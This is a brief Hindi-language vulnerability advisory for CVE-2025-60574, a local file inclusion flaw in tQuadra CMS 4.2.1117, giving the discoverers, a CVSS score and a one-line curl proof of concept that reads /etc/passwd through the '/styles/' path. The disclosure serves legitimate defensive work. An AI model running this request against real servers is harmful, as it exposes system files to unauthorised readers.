भेद्यता खोजकर्ता और एक्सप्लॉइट लेखक

Stefano Andreatta & Jacopo Candido Augelli

CVE-2025-60574

भेद्यता विवरण

tQuadra CMS 4.2.1117 में एक Local File Inclusion (LFI) भेद्यता की पहचान की गई है। यह समस्या "/styles/" पथ में मौजूद है, जो उपयोगकर्ता द्वारा प्रदत्त इनपुट को उचित रूप से सैनिटाइज़ नहीं करता है। एक हमलावर अंतर्निहित सिस्टम से मनमानी फ़ाइलें प्राप्त करने के लिए एक विशेष रूप से तैयार GET अनुरोध भेजकर इसका शोषण कर सकता है।

खोजकर्ता: Stefano Andreatta & Jacopo Candido Augelli

CVSS 3.1 - 7.5 उच्च

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

अवधारणा का प्रमाण

curl -s https://vulnerable.site.com/styles//etc/passwd --output - | gunzip